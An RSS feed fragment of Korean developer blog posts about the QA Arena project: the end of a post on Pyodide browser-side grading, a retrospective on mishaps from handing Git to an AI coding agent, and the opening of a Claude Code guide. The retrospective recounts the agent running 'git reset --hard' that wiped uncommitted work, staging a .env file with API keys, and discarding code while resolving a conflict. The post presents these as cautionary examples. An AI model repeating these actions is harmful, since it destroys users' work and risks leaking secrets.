<h4 id="②-채점은-서버에서-깊이-있고-정확하게-🧠">② 채점은 서버에서 깊이 있고 정확하게 🧠</h4>
<p>그렇다면 서버는 무엇을 할까요? 아래는 최종 채점 결과 화면입니다.
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/f26450af-b300-4edb-a735-d95ee3ae8a2a/image.png" alt=""></p>
<p>브라우저가 보낸 실행 로그를 바탕으로, 서버가 <strong>놓친 버그들을 정밀하게 분석</strong>하고 <strong>학습 지표</strong>와 <strong>개선 힌트</strong>까지 제공합니다.</p>
<p>이것이 바로 <strong>하이브리드 아키텍처의 힘입니다</strong>. 사용자는 대기 시간 없는 쾌적함을 얻고, 동시에 서버 기반의 고품질 분석 결과를 받아볼 수 있습니다.</p>
<hr>
<h2 id="💰-4-얻은-것">💰 4. 얻은 것</h2>
<p>이 하이브리드 구조를 통해 세 마리 토끼를 잡았습니다.</p>
<h3 id="1-비용-절감-cost-efficiency">1. 비용 절감 (Cost Efficiency)</h3>
<ul>
<li>가장 비싼 리소스인 &#39;CPU 연산&#39;을 클라이언트로 위임했습니다.</li>
<li>서버는 가벼운 텍스트 처리와 API 호출만 담당하므로 유지비가 거의 들지 않습니다.<h3 id="2-보안-및-신뢰성-security">2. 보안 및 신뢰성 (Security)</h3>
</li>
<li>채점의 최종 권한(Authority)은 여전히 서버에 있습니다.</li>
<li>클라이언트가 결과를 위조하려 해도, 서버가 로그 패턴을 검증하므로 걸러낼 수 있습니다.<h3 id="3-사용자-경험-ai--ux">3. 사용자 경험 (AI &amp; UX)</h3>
</li>
<li>사용자는 <strong>&quot;대기 시간 없는 빠른 실행&quot;</strong> 을 경험합니다.</li>
<li>동시에 <strong>&quot;서버 기반의 고품질 AI 피드백&quot;</strong> 을 받을 수 있습니다.</li>
</ul>
<hr>
<h3 id="🤔-5-물론-단점도-있습니다-솔직-회고">🤔 5. 물론 단점도 있습니다 (솔직 회고)</h3>
<h3 id="정직한-한계">정직한 한계</h3>
<p>세상에 공짜 점심은 없듯이, Pyodide 도입 시 고려해야 할 트레이드오프가 있습니다.</p>
<ol>
<li><p><strong>초기 로딩 속도 (무거움)</strong>: Pyodide 런타임과 라이브러리를 다운로드해야 하는데, 이게 약 10MB~20MB 정도 됩니다.</p>
<blockquote>
<p>해결: 브라우저 캐싱을 적극 활용하고, 사용자가 문제를 읽는 동안 백그라운드에서 미리 로딩(Preload)하도록 처리했습니다.</p>
</blockquote>
</li>
<li><p><strong>&quot;혹시 채굴하나요?&quot; (사용자 리소스 사용 고지)</strong> ⚠️ 아무 설명 없이 사용자의 CPU를 풀가동하면, 갑자기 도는 팬 소리에 사용자가 놀랄 수 있습니다. (크립토재킹으로 오해받기 딱 좋죠.)</p>
<blockquote>
<p>해결: UI에 <strong>&quot;더 빠른 결과를 위해 브라우저에서 직접 채점합니다&quot;</strong> 라고 명시적으로 알리고 있습니다. 몰래 쓰는 게 아니라, &#39;대기 시간 없는 쾌적한 경험&#39;을 위해 리소스를 교환한다는 느낌을 드리기 위해서죠.</p>
</blockquote>
</li>
</ol>
<hr>
<h3 id="6-🎁-마치며">6. 🎁 마치며</h3>
<p><strong>&quot;무조건적인 서버리스(Serverless)가 정답은 아닙니다.&quot;</strong></p>
<p>중요한 건 <strong>&quot;어떤 작업을 어디서 처리하느냐&quot;</strong> 입니다.</p>
<ul>
<li>무거운 반복 작업 → <strong>Client (Pyodide)</strong></li>
<li>중요한 판단과 지능 → <strong>Server (EC2 + AI)</strong></li>
</ul>
<p>이 균형을 맞춘 덕분에 QA Arena는 <strong>저비용 고효율</strong> 구조를 갖추게 되었습니다. 혹시 저처럼 리소스 낭비가 걱정되는 프로젝트를 하고 계신다면, 이 <strong>하이브리드 접근법</strong>을 강력 추천합니다!</p>
<hr>
<p>👇 직접 체험해보세요!
빠른 속도와 똑똑한 AI 피드백을 동시에 경험해보세요. <strong>(모바일에서도 돌아갑니다!)</strong> (우측 하단 실행 시간을 꼭 확인해보세요!) </p>
<p>👉 <a href="https://qa-arena.qalabs.kr/">QA Arena 바로가기</a></p>
<p>환경 이슈가 있다면 댓글이나 피드백 폼으로 알려주세요!</p>
<ul>
<li>OS/브라우저 정보</li>
<li>에러 메시지 (있다면)</li>
</ul>
<hr>
<p>📌 <strong>다음 화 예고</strong></p>
<p><strong>Ep 5. 하이브리드 채점 시스템: 클라이언트 vs 서버, 언제 어떤 걸 쓸까?</strong></p>
<blockquote>
<p>&quot;클라이언트 채점만으로 충분할까요? 아닙니다.&quot;</p>
</blockquote>
<p>Fallback 전략, 무결성 검증, 경쟁 모드 설계까지 - 하이브리드 시스템의 실전 노하우를 공유합니다.</p>
<hr>
<p>👉 <strong>직접 체험해보기</strong>: <a href="https://qa-arena.qalabs.kr/?utm_source=velog&amp;utm_medium=post&amp;utm_campaign=pyodide_test">QA Arena에서 내 테스트 코드 품질 확인하기</a></p>
<hr>
<p><strong>[Project Info]</strong></p>
<ul>
<li>Service: <a href="https://qa-arena.qalabs.kr">https://qa-arena.qalabs.kr</a></li>
<li>Status: Open Beta (Non-profit Project)</li>
<li>Developer: Ryu Junghyun (QA Engineer)</li>
<li>Feedback: <a href="https://forms.gle/mk5zYKMTMq4PGRQz7">의견 보내기 (Google Form)</a></li>
</ul>
<hr>
<h2 id="📚-참고-자료">📚 참고 자료</h2>
<ul>
<li><a href="https://pyodide.org/">Pyodide 공식 문서</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API - MDN</a></li>
<li><a href="https://zustand-demo.pmnd.rs/">Zustand 공식 문서</a></li>
<li><a href="https://en.wikipedia.org/wiki/Mutation_testing">Mutation Testing 소개 - Wikipedia</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[AI 믿고 Git 맡겼다가 생긴 일: 의존의 함정과 탈출 전략]]></title>
            <link>https://velog.io/@ai_qa_patrick/AI-%EB%AF%BF%EA%B3%A0-Git-%EB%A7%A1%EA%B2%BC%EB%8B%A4%EA%B0%80-%EC%83%9D%EA%B8%B4-%EC%9D%BC-%EC%9D%98%EC%A1%B4%EC%9D%98-%ED%95%A8%EC%A0%95%EA%B3%BC-%ED%83%88%EC%B6%9C-%EC%A0%84%EB%9E%B5</link>
            <guid>https://velog.io/@ai_qa_patrick/AI-%EB%AF%BF%EA%B3%A0-Git-%EB%A7%A1%EA%B2%BC%EB%8B%A4%EA%B0%80-%EC%83%9D%EA%B8%B4-%EC%9D%BC-%EC%9D%98%EC%A1%B4%EC%9D%98-%ED%95%A8%EC%A0%95%EA%B3%BC-%ED%83%88%EC%B6%9C-%EC%A0%84%EB%9E%B5</guid>
            <pubDate>Fri, 16 Jan 2026 00:24:27 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📢 <strong>오픈 베타 테스트 참여 안내</strong>
이 프로젝트는 현재 오픈 베타 중입니다.
&quot;내 테스트 코드는 몇 점일까?&quot; 궁금하신 분들은 아래 링크에서 체험해보세요!
👉 <a href="https://qa-arena.qalabs.kr">QA Arena 바로가기</a></p>
</blockquote>
<p><strong>&quot;커밋 메시지도 AI가 쓰고, 브랜치 관리도 AI가 하고...&quot;</strong></p>
<p><a href="https://velog.io/@ai_qa_patrick/LLM%EC%8B%A4%EC%A0%84-Claude-Code-200-%ED%99%9C%EC%9A%A9-CLI%EB%B6%80%ED%84%B0-Chrome-%EC%A0%9C%EC%96%B4%EA%B9%8C%EC%A7%80-feat.-QA-Arena">지난 편</a>에서 Claude Code로 배포 자동화, 일일 리포트, 가상 팀원 시스템까지 만들었다고 자랑했죠?</p>
<p>그런데 말입니다...</p>
<p><strong>어느 날, Git 히스토리가 꼬였습니다.</strong> 😱</p>
<p>여러분도 이런 경험 있으신가요?</p>
<ul>
<li>&quot;어제 커밋 어디 갔지...?&quot;</li>
<li>&quot;롤백하고 싶은데 어디로 돌아가야 하지?&quot;</li>
<li>&quot;왜 배포했는데 반영이 안 되지?&quot;</li>
</ul>
<p>오늘은 AI에게 Git을 전부 맡겼다가 겪은 삽질기와, 그걸 어떻게 극복했는지 솔직하게 공유합니다.</p>
<hr>
<h2 id="🔥-1-사건의-시작---무슨-일이-있었나">🔥 1. 사건의 시작 - 무슨 일이 있었나</h2>
<h3 id="🍯-ai와의-달콤한-협업">🍯 AI와의 달콤한 협업</h3>
<p>QA Arena 프로젝트의 <strong>313개 커밋 중 절반 이상</strong>은 AI와 함께 작성했습니다.</p>
<p>처음엔 정말 편했어요:</p>
<pre><code>나: &quot;이 기능 구현해줘&quot;
AI: (코드 작성)
AI: &quot;커밋할까요?&quot;
나: &quot;ㅇㅇ&quot;
AI: (커밋 완료)</code></pre><p>점점 더 많은 걸 맡기게 됐습니다:</p>
<ul>
<li>✅ 코드 작성</li>
<li>✅ 커밋 메시지 작성</li>
<li>✅ 브랜치 관리</li>
<li>✅ 머지</li>
<li>✅ 푸시</li>
<li>✅ 배포</li>
</ul>
<p><strong>&quot;편하니까 다 맡기면 되지 뭐~&quot;</strong></p>
<p>...그렇게 재앙이 시작됐습니다.</p>
<hr>
<h2 id="💀-2-실패-케이스-모음">💀 2. 실패 케이스 모음</h2>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/af0ac1ec-c8f4-4cac-9489-6c081a702c20/image.png" alt=""></p>
<p>실제로 제가 겪은 (그리고 간신히 복구한) 사고들입니다.
<strong>10가지나 됩니다.</strong> 부끄럽지만 다 공개할게요. 😅</p>
<h3 id="📝-2-1-커밋-메시지-지옥">📝 2-1. 커밋 메시지 지옥</h3>
<p>어느 날 히스토리를 봤더니:</p>
<pre><code class="language-bash">$ git log --oneline
a1b2c3d fix
e4f5g6h update
i7j8k9l wip
m0n1o2p asdf
q3r4s5t fix2
r6s7t8u update again</code></pre>
<p><strong>&quot;fix가 뭘 고친 거야...?&quot;</strong> 🤦</p>
<p>AI한테 &quot;커밋해줘&quot;만 했더니, 의미 없는 메시지가 쌓이고 있었습니다.
나중에 특정 변경을 찾아야 할 때? 지옥이었죠.</p>
<hr>
<h3 id="🌿-2-2-main-브랜치-직접-푸시-습관">🌿 2-2. main 브랜치 직접 푸시 습관</h3>
<pre><code class="language-bash">$ git branch
* main</code></pre>
<p>브랜치가 main 하나뿐...? 🤔</p>
<p>AI한테 &quot;커밋하고 푸시해줘&quot; 하면 당연히 현재 브랜치(main)에 바로 푸시했습니다.
<strong>feature 브랜치? PR? 그런 거 없었습니다.</strong></p>
<p>결과:</p>
<ul>
<li>실험 코드가 바로 프로덕션에 배포됨</li>
<li>&quot;아 이거 아닌데&quot; 싶을 때 이미 main에 머지됨</li>
<li>롤백하려면 어디까지 돌아가야 하는지 모름</li>
</ul>
<hr>
<h3 id="⏪-2-3-롤백-불가-상황">⏪ 2-3. 롤백 불가 상황</h3>
<pre><code>나: &quot;어제 기능 롤백해줘&quot;
AI: &quot;어느 커밋으로 돌아갈까요?&quot;
나: &quot;... 🤔&quot;</code></pre><p>커밋 메시지가 전부 &quot;fix&quot;, &quot;update&quot;라서 <strong>어느 시점으로 돌아가야 하는지 알 수가 없었습니다.</strong></p>
<p>결국 수동으로 코드 diff 하나하나 확인하며 복구... 3시간 날림.</p>
<hr>
<h3 id="🔄-2-4-코드-원복-오류-⭐-핵심-사고">🔄 2-4. 코드 원복 오류 ⭐ (핵심 사고)</h3>
<p>main에만 직접 커밋하다 보니:</p>
<ol>
<li>기능 A 개발 → main 커밋</li>
<li>기능 B 개발 → main 커밋</li>
<li>&quot;기능 A 버그 있음, 원복해야 함&quot;</li>
<li><strong>???</strong></li>
</ol>
<p>기능 A와 B가 섞여 있어서 A만 원복하는 게 불가능했습니다.
<strong>브랜치로 분리했으면 <code>git revert</code> 한 방이었을 텐데...</strong></p>
<hr>
<h3 id="💥-2-5-git-reset---hard-사고">💥 2-5. git reset --hard 사고</h3>
<pre><code>나: &quot;변경사항 다 취소해줘&quot;
AI: (생각 없이) git reset --hard HEAD
나: &quot;잠깐, 커밋 안 한 작업이...&quot;</code></pre><p>💀 <strong>2시간 작업 증발</strong></p>
<p>AI는 &quot;취소해달라&quot;고 하면 가장 확실한 방법을 씁니다.
근데 그게 커밋 안 한 작업까지 날려버리는 방법이었죠.</p>
<hr>
<h3 id="⚔️-2-6-충돌-지옥">⚔️ 2-6. 충돌 지옥</h3>
<p>로컬에서 작업하는 동안, EC2에서도 &quot;급하게&quot; 뭔가 고쳤습니다.</p>
<pre><code class="language-bash">$ git pull
CONFLICT (content): Merge conflict in app/main.py
Automatic merge failed; fix conflicts and then commit the result.</code></pre>
<p>양쪽에서 같은 파일을 수정했으니 당연히 충돌.
<strong>그걸 AI한테 해결하라고 했더니... 제 코드가 날아갔습니다.</strong> 🙃</p>
<hr>
<h3 id="🔐-2-7-환경-파일-커밋-아찔">🔐 2-7. 환경 파일 커밋 아찔</h3>
<pre><code>나: &quot;변경된 거 다 커밋해줘&quot;
AI: git add .
AI: git commit -m &quot;update all files&quot;</code></pre><p>잠깐, <code>.env</code> 파일이 수정되어 있었는데...?</p>
<p>다행히 푸시 전에 발견했지만, <strong>API 키가 GitHub에 올라갈 뻔했습니다.</strong> 😰</p>
<hr>
<h3 id="🖥️-2-8-서버-드리프트-⭐-운영-사고">🖥️ 2-8. 서버 드리프트 ⭐ (운영 사고)</h3>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/d8937fee-878e-4c21-978b-4d70fa158a15/image.png" alt=""></p>
<p><strong>상황</strong>: EC2에서 &quot;급하게&quot; 설정 파일 직접 수정</p>
<pre><code class="language-bash"># EC2에서
$ vim config.py  # tracked 파일 수정
$ # (커밋 안 함, 그냥 서비스 재시작)</code></pre>
<p><strong>다음 배포 시</strong>:</p>
<pre><code class="language-bash">$ git pull origin main
error: Your local changes to the following files would be overwritten by merge:
        config.py
Please commit your changes or stash them before you merge.</code></pre>
<p><strong>배포가 멈췄습니다.</strong> 서버에서 뭘 고쳤는지도 기억 안 나는데...</p>
<hr>
<h3 id="👻-2-9-유령-배포-⭐-가장-황당한-사고">👻 2-9. 유령 배포 ⭐ (가장 황당한 사고)</h3>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/5143673b-4bf8-40e6-9c80-6e357f0d48e9/image.png" alt=""></p>
<p><strong>상황</strong>: 로컬에서 열심히 수정함</p>
<pre><code class="language-bash"># 로컬에서
$ git status
Changes not staged for commit:
  modified:   app/api.py
  modified:   app/service.py</code></pre>
<p><strong>나</strong>: &quot;좋아, 배포하자!&quot;</p>
<pre><code class="language-bash"># EC2에서
$ git pull origin main
Already up to date.</code></pre>
<p><strong>나</strong>: &quot;...어? 왜 안 바뀌지?&quot;</p>
<p>커밋/푸시를 안 했으니 당연히 EC2에는 아무것도 없죠.
<strong>&quot;배포하면 반영되겠지&quot;라는 착각</strong>이 문제였습니다.</p>
<hr>
<h3 id="👯-2-10-분신술의-최후-멀티-ai-동시-실행-⭐">👯 2-10. 분신술의 최후 (멀티 AI 동시 실행) ⭐</h3>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/dfef6a6d-ea8a-49d5-bef4-b56f1037c4c3/image.png" alt=""></p>
<p><strong>상황</strong>: 개발 속도를 2배로 올리고 싶다는 욕심이 생겼습니다. &quot;터미널 두 개 띄우고, Claude Code 두 명한테 동시에 시키면 2배 빠르겠지?&quot; 🧠⚡</p>
<pre><code>터미널 1 (AI-A): &quot;로그인 API 만들까요?&quot; -&gt; 나: &quot;ㅇㅇ (Yes)&quot;
터미널 2 (AI-B): &quot;로그인 UI 고칠까요?&quot; -&gt; 나: &quot;ㅇㅇ (Yes)&quot;</code></pre><p><strong>문제</strong>: 무의식적으로 양쪽 터미널에서 Enter(Yes)를 연타하다 보니 사단이 났습니다.</p>
<p>같은 로컬 폴더(브랜치)를 공유하고 있으니, AI A가 수정하는 도중에 AI B가 파일을 읽어가고, 다시 AI A가 덮어쓰는 <strong>&#39;대환장 파티&#39;</strong>가 벌어졌습니다. 나중에 코드를 열어보니 똑같은 함수가 파일 안에 두 번 정의되어 있더군요. (AI들도 서로의 존재를 모르니...)</p>
<h2 id="🔍-3-근본-원인---왜-이런-일이-발생했나">🔍 3. 근본 원인 - 왜 이런 일이 발생했나</h2>
<p>냉정하게 분석해보면 뭐가 문제였을까요?</p>
<table>
<thead>
<tr>
<th>원인</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>AI 의존도 과잉</strong></td>
<td>&quot;AI가 알아서 해주겠지&quot; 마인드</td>
</tr>
<tr>
<td><strong>브랜치 전략 부재</strong></td>
<td>main 하나로 모든 걸 처리</td>
</tr>
<tr>
<td><strong>검증 프로세스 누락</strong></td>
<td>커밋 전 확인 없이 바로 실행</td>
</tr>
<tr>
<td><strong>운영/개발 환경 혼재</strong></td>
<td>서버에서 직접 수정하는 습관</td>
</tr>
</tbody></table>
<p><strong>핵심</strong>: AI는 시킨 대로 할 뿐, &quot;이게 맞는 방법인지&quot;는 판단하지 않습니다.</p>
<p>그럼 어떻게 해야 할까요? 🤔</p>
<hr>
<h2 id="🛠️-4-해결-과정---어떻게-극복했나">🛠️ 4. 해결 과정 - 어떻게 극복했나</h2>
<h3 id="📜-4-1-git-운영-룰을-문서로-고정">📜 4-1. Git 운영 룰을 문서로 고정</h3>
<p>프로덕션 운영이 들어가면서, <strong>&quot;사고 방지용&quot; Git 규칙</strong>을 문서화했습니다:</p>
<pre><code class="language-markdown">## Git Workflow 핵심 원칙

1. ❌ main에 직접 커밋 금지
2. ✅ 새 작업은 feature/fix 브랜치에서 시작
3. ✅ 작업 완료 → push → PR로 main 반영
4. ❌ 서버에서 Git-tracked 파일 직접 수정 금지
5. ✅ 배포는 main 기준 git pull → docker compose rebuild</code></pre>
<p>이 규칙을 <code>docs/specs/git-workflow.md</code>에 박아두고, <strong>CLAUDE.md에서도 참조</strong>하게 했습니다.</p>
<hr>
<h3 id="🔄-4-2-배포--git-동기화로-정의">🔄 4-2. 배포 = Git 동기화로 정의</h3>
<p>배포 가이드의 첫 단계를 항상:</p>
<pre><code class="language-bash">git switch main
git fetch origin
git pull origin main</code></pre>
<p>로 고정했습니다.</p>
<p><strong>&quot;배포 = Git 동기화가 선행되는 행위&quot;</strong></p>
<p>이렇게 정의하니까:</p>
<ul>
<li>PR 머지 없이는 배포 결과가 안 바뀜</li>
<li>&quot;유령 배포&quot; 사고 원천 차단</li>
<li>서버 드리프트 조기 발견</li>
</ul>
<hr>
<h3 id="🛤️-4-3-표준-git-흐름-확립">🛤️ 4-3. 표준 Git 흐름 확립</h3>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/7f81d4fe-3623-4f0d-87d5-c6a8cf155193/image.png" alt=""></p>
<pre><code>1. 로컬에서 main 최신화
   └→ git switch main &amp;&amp; git pull

2. feature 브랜치 생성
   └→ git switch -c feature/new-thing

3. 작업 → 커밋 → 푸시
   └→ git add . &amp;&amp; git commit &amp;&amp; git push

4. GitHub PR 생성
   └→ 리뷰/히스토리 확보

5. main 머지
   └→ PR approve → merge

6. 서버 배포
   └→ /deploy (main pull → rebuild)</code></pre><hr>
<h3 id="🤖-4-4-스킬로-자동화">🤖 4-4. 스킬로 자동화</h3>
<p>이 규칙들을 Claude Code 스킬에 녹였습니다:</p>
<p><strong><code>/check-sync</code></strong>: 배포 전 로컬-서버 동기화 확인</p>
<pre><code>========================================
로컬 (Windows)
========================================
브랜치: main
최신 커밋: abc1234 feat: Add new feature

========================================
EC2 (Linux)
========================================
브랜치: main
최신 커밋: xyz7890 fix: Bug fix

========================================
⚠️ 싱크가 맞지 않습니다!
권장: git push 후 /deploy 실행
========================================</code></pre><p><strong><code>/ec2-deploy</code></strong>: 9단계 배포 워크플로우</p>
<ul>
<li>Step 1: 사전 체크 (git status)</li>
<li>Step 2: 보안 스캔 (민감정보 검사)</li>
<li>Step 3: 코드 리뷰 (100줄+ 변경 시)</li>
<li>Step 4: 사용자 확인</li>
<li>Step 5: 커밋 &amp; 푸시</li>
<li>Step 6: <strong>롤백 포인트 저장</strong> ⭐</li>
<li>Step 7: EC2 배포</li>
<li>Step 8: 헬스체크</li>
<li>Step 9: 실패 시 자동 롤백</li>
</ul>
<p><strong>핵심</strong>: 롤백 포인트를 자동 저장해서 &quot;어디로 돌아가야 하지?&quot; 문제 해결</p>
<hr>
<h3 id="🌳-4-5-git-worktree로-ai-격리-구역-만들기">🌳 4-5. &#39;Git Worktree&#39;로 AI 격리 구역 만들기</h3>
<p>앞서 말한 &#39;분신술 실패(2-10번)&#39;를 겪고 도입한 것이 <strong>Git Worktree</strong>입니다. 단순히 브랜치만 나누는 게 아니라, 아예 <strong>작업 폴더(Directory)를 물리적으로 격리</strong>시켜버리는 거죠.</p>
<pre><code class="language-bash"># 메인 프로젝트 폴더가 아닌, 별도 폴더로 브랜치를 체크아웃
# AI-1에게 줄 방 (feature/auth)
$ git worktree add ../qa-arena-auth feature/auth

# AI-2에게 줄 방 (feature/ui)
$ git worktree add ../qa-arena-ui feature/ui</code></pre>
<p>이렇게 하면:</p>
<ol>
<li><p><strong>AI 1번</strong>은 ../qa-arena-auth 폴더에서 Claude Code 실행</p>
</li>
<li><p><strong>AI 2번</strong>은 ../qa-arena-ui 폴더에서 Claude Code 실행</p>
</li>
</ol>
<p>서로 다른 폴더에서 파일 시스템 자체가 분리된 채로 작업하니, <strong>&#39;무의식의 Yes&#39;</strong>를 날려도 충돌이 날 일이 없습니다. 작업이 끝나면 각자 Push 하고 PR 보내면 끝!</p>
<p>이제 터미널 3개를 띄워도 안전합니다. (제 뇌만 버틴다면요 🤯)</p>
<h2 id="✅-5-재발-방지---이제는-안-당합니다">✅ 5. 재발 방지 - 이제는 안 당합니다</h2>
<p>그래서 뭘 배웠냐고요? 이거 하나면 됩니다.</p>
<h3 id="ai에게-맡겨도-되는-것-vs-안-되는-것">AI에게 맡겨도 되는 것 vs 안 되는 것</h3>
<table>
<thead>
<tr>
<th>맡겨도 됨 ✅</th>
<th>직접 확인 필요 ⚠️</th>
</tr>
</thead>
<tbody><tr>
<td>코드 작성</td>
<td>커밋 메시지 내용</td>
</tr>
<tr>
<td>파일 수정</td>
<td>git diff 결과</td>
</tr>
<tr>
<td>테스트 실행</td>
<td>어느 브랜치인지</td>
</tr>
<tr>
<td>문서 생성</td>
<td>main 머지 여부</td>
</tr>
<tr>
<td>배포 스크립트 실행</td>
<td>롤백 포인트</td>
</tr>
</tbody></table>
<h3 id="git-워크플로우-beforeafter-비교">Git 워크플로우 Before/After 비교</h3>
<h3 id="git-워크플로우-beforeafter">Git 워크플로우 Before/After</h3>
<pre><code class="language-text">┌───────────────────────────────┬───────────────────────────────────────────┐
│ Before 😱                      │ After 😎                                   │
├───────────────────────────────┼───────────────────────────────────────────┤
│ $ git add .                    │ $ /check-sync                              │
│ $ git commit -m &quot;fix&quot;          │ $ /ec2-deploy                               │
│ $ git push main                │                                           │
│                               │ ✅ Step 1: 사전 체크                         │
│ ❌ 히스토리 꼬임               │ ✅ Step 2: 보안 스캔                         │
│ ❌ 롤백 불가                   │ ✅ Step 3: 코드 리뷰                         │
│ ❌ 충돌 발생                   │ ✅ Step 4: 롤백 포인트 저장                  │
│ ❌ 서버 드리프트               │ ✅ Step 5: 배포                              │
│                               │ ✅ Step 6: 헬스체크                          │
│                               │ ✅ Step 7: 실패 시 자동 롤백                 │
└───────────────────────────────┴───────────────────────────────────────────┘




---

## 📋 6. 내 운영 룰

&quot;그래서 지금은 뭘 지키고 있냐고요?&quot;
지금 실제로 지키고 있는 체크리스트입니다:

### 🛡️ AI + Git 협업 안전 수칙
- [ ] main에 직접 커밋하지 않기
- [ ] 커밋 전 `git diff` 확인하기
- [ ] 의미있는 커밋 메시지 작성하기 (`feat`/`fix`/`refactor`)
- [ ] 배포 전 `/check-sync` 실행하기
- [ ] 롤백 포인트 저장 확인하기
- [ ] 100줄 이상 변경 시 코드 리뷰
- [ ] `.env` 파일 커밋 여부 확인하기
- [ ] 서버에서 tracked 파일 직접 수정 금지

---

## 💡 7. 교훈

### AI 의존도 스펙트럼
![](https://velog.velcdn.com/images/ai_qa_patrick/post/f7b9e672-7ffc-45ed-b05f-fa0e2d64b311/image.png)

**AI는 도구입니다. 좋은 도구도 잘못 쓰면 사고 납니다.**

### 핵심 3가지

1. **AI가 하는 일을 이해하라**: 시키기만 하지 말고, 뭘 하는지 확인
2. **안전장치를 만들어라**: 실수해도 복구 가능한 구조 (롤백 포인트, 브랜치)
3. **규칙을 문서화하라**: AI도 읽을 수 있게 CLAUDE.md에 명시

---

## 💬 8. 마치며

AI와 협업하면서 Git을 전부 맡겼다가 삽질한 경험을 공유했습니다.

솔직히 창피한 실수들이지만, **저처럼 당하지 마시라고** 공개합니다. 😅

혹시 비슷한 경험 있으신가요? 댓글로 공유해주시면 위로가 될 것 같습니다... (제발)

&gt; &quot;AI가 코드 짜주는 세상&quot;은 왔지만,
&gt; **&quot;AI가 알아서 해주는 세상&quot;은 아직 안 왔습니다.**

Git 히스토리 관리, 브랜치 전략, 배포 안전장치...
이런 건 여전히 **사람이 설계하고 검증**해야 합니다.

그래도 한 가지 확실한 건,
**삽질 덕분에 더 단단한 시스템이 만들어졌다**는 거예요. 🛡️

다음 편에서는 서버 비용을 0원으로 만든 이야기를 해볼게요.
(브라우저에서 Python 돌리기, 진짜 됩니다!)

---

📌 **다음 화 예고**

**Ep 4. AWS 비용 0원 도전: 채점 서버를 없애고 브라우저로 돌린 이유**

&quot;Pyodide로 브라우저에서 pytest 돌리기, 가능합니다.&quot;
서버리스 전환으로 인프라 비용을 절감한 과정을 공유합니다.

(발행 예정)

---

👉 **직접 체험해보기**: [QA Arena에서 내 테스트 코드 품질 확인하기](https://qa-arena.qalabs.kr/?utm_source=velog&amp;utm_medium=post&amp;utm_campaign=git_pitfalls)

---

**[Project Info]**
- Service: https://qa-arena.qalabs.kr
- Status: Open Beta (Non-profit Project)
- Developer: Ryu Junghyun (QA Engineer)
- Feedback: [의견 보내기 (Google Form)](https://forms.gle/mk5zYKMTMq4PGRQz7)

---

## 📚 참고 자료

- [Git Workflow Best Practices](https://www.atlassian.com/git/tutorials/comparing-workflows)
- [Conventional Commits](https://www.conventionalcommits.org/)
- [Claude Code 공식 문서](https://docs.anthropic.com/claude/docs/claude-code)


</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[(LLM실전) Claude Code 200% 활용: CLI부터 Chrome 제어까지 (feat. QA Arena)]]></title>
            <link>https://velog.io/@ai_qa_patrick/LLM%EC%8B%A4%EC%A0%84-Claude-Code-200-%ED%99%9C%EC%9A%A9-CLI%EB%B6%80%ED%84%B0-Chrome-%EC%A0%9C%EC%96%B4%EA%B9%8C%EC%A7%80-feat.-QA-Arena</link>
            <guid>https://velog.io/@ai_qa_patrick/LLM%EC%8B%A4%EC%A0%84-Claude-Code-200-%ED%99%9C%EC%9A%A9-CLI%EB%B6%80%ED%84%B0-Chrome-%EC%A0%9C%EC%96%B4%EA%B9%8C%EC%A7%80-feat.-QA-Arena</guid>
            <pubDate>Tue, 13 Jan 2026 00:49:34 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📢 <strong>오픈 베타 테스트 참여 안내</strong>
이 프로젝트는 현재 오픈 베타 중입니다.
&quot;내 테스트 코드는 몇 점일까?&quot; 궁금하신 분들은 아래 링크에서 체험해보세요!
👉 <a href="https://qa-arena.qalabs.kr/">QA Arena 바로가기</a></p>
</blockquote>
<hr>
<p><strong>&quot;AI가 코드 짜주는 세상, 진짜 됩니다.&quot;</strong></p>
<p>QA Arena 프로젝트의 <strong>435개 커밋 중 95% 이상</strong>은 AI와 함께 작성했습니다.</p>
<p>단순히 &quot;이 함수 짜줘&quot;수준이 아닙니다. <strong>배포 자동화</strong>, <strong>일일 모니터링 리포트</strong>, <strong>E2E 테스트 검증</strong>, 심지어 <strong>EC2 접속부터 롤백까지</strong> AI가 처리합니다.</p>
<p>특히 최근 추가된 <strong>Claude Chrome</strong> 기능 덕분에 터미널에 갇혀있던 AI가 실제 브라우저를 보며 UI 테스트까지 수행하게 되었습니다.</p>
<p>어떻게 가능했냐고요? <strong>Claude Code</strong>의 심화 기능인 <strong>Skills</strong>, <strong>Agents</strong>, 그리고 <strong>Chrome(Beta)</strong>을 제대로 엮었기 때문입니다.</p>
<hr>
<h2 id="🤖-1-claude-code-단순한-cli가-아닙니다">🤖 1. Claude Code: 단순한 CLI가 아닙니다</h2>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/9f655d5c-082c-4dfb-99f2-808abec1edbd/image.png" alt=""></p>
<p><a href="https://claude.ai/code">Claude Code</a>는 Anthropic의 CLI 도구지만, 핵심은 <strong>&quot;맥락(Context) 관리&quot;</strong>와 <strong>&quot;도구 확장(Tool Use)&quot;</strong>에 있습니다.</p>
<p>VS Code의 Copilot과 가장 큰 차이점은 <strong>&#39;내가 시키는 대로 하는 비서&#39;</strong>가 아니라, <strong>&#39;내가 가르친 대로 움직이는 주니어 개발자&#39;</strong>에 가깝다는 점입니다.</p>
<h3 id="💡-핵심-차별점">💡 핵심 차별점</h3>
<ol>
<li><strong>Project Context</strong>: 프로젝트 전체 구조를 이해하고 작업합니다.</li>
<li><strong>Tool Use</strong>: 터미널 명령어 실행, 파일 편집, <strong>브라우저 제어(Chrome)</strong>가 가능합니다.</li>
<li><strong>Cost Management</strong>: 필요한 파일만 읽도록 제어하여 토큰 비용을 아낍니다.</li>
</ol>
<hr>
<h2 id="📋-2-claudemd-시키기-전에-규칙부터-정하라">📋 2. CLAUDE.md: &quot;시키기 전에 규칙부터 정하라&quot;</h2>
